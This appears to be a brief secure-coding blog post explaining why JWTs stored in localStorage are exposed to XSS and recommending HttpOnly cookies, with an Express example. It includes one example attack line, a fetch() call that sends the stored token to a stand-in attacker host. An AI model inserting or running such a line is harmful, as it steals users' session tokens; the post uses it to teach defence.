Demystifying JWT: How to Secure Web API Tokens

JSON Web Tokens (JWT) are the standard for managing user authorizations in modern applications. However, standard implementations often leave security vulnerabilities. Let's look at how to protect these tokens.

The Threat: Storing Tokens in LocalStorage

Many tutorials tell you to store JWTs in local storage:

localStorage.setItem('token', response.token);

**Why this is dangerous:** Local storage can be read by any JavaScript running on your page. If your site has a Cross-Site Scripting (XSS) bug (e.g. from an unescaped comment box), an attacker can easily grab this token:

fetch('https://attacker.site/steal?token=' + localStorage.getItem('token'));

The Cure: HttpOnly Cookies

By transferring tokens through **HttpOnly Cookies**, we deny browser scripts direct access to our authentication states.

Setting the Cookie in Express

res.cookie('token', token, {
  httpOnly: true,
  secure: true, // Requires HTTPS
  sameSite: 'strict', // Blocks CSRF attempts
  maxAge: 3600000 // 1 hour
});

Conclusion

Always protect authentication channels by moving credentials out of local-storage vectors.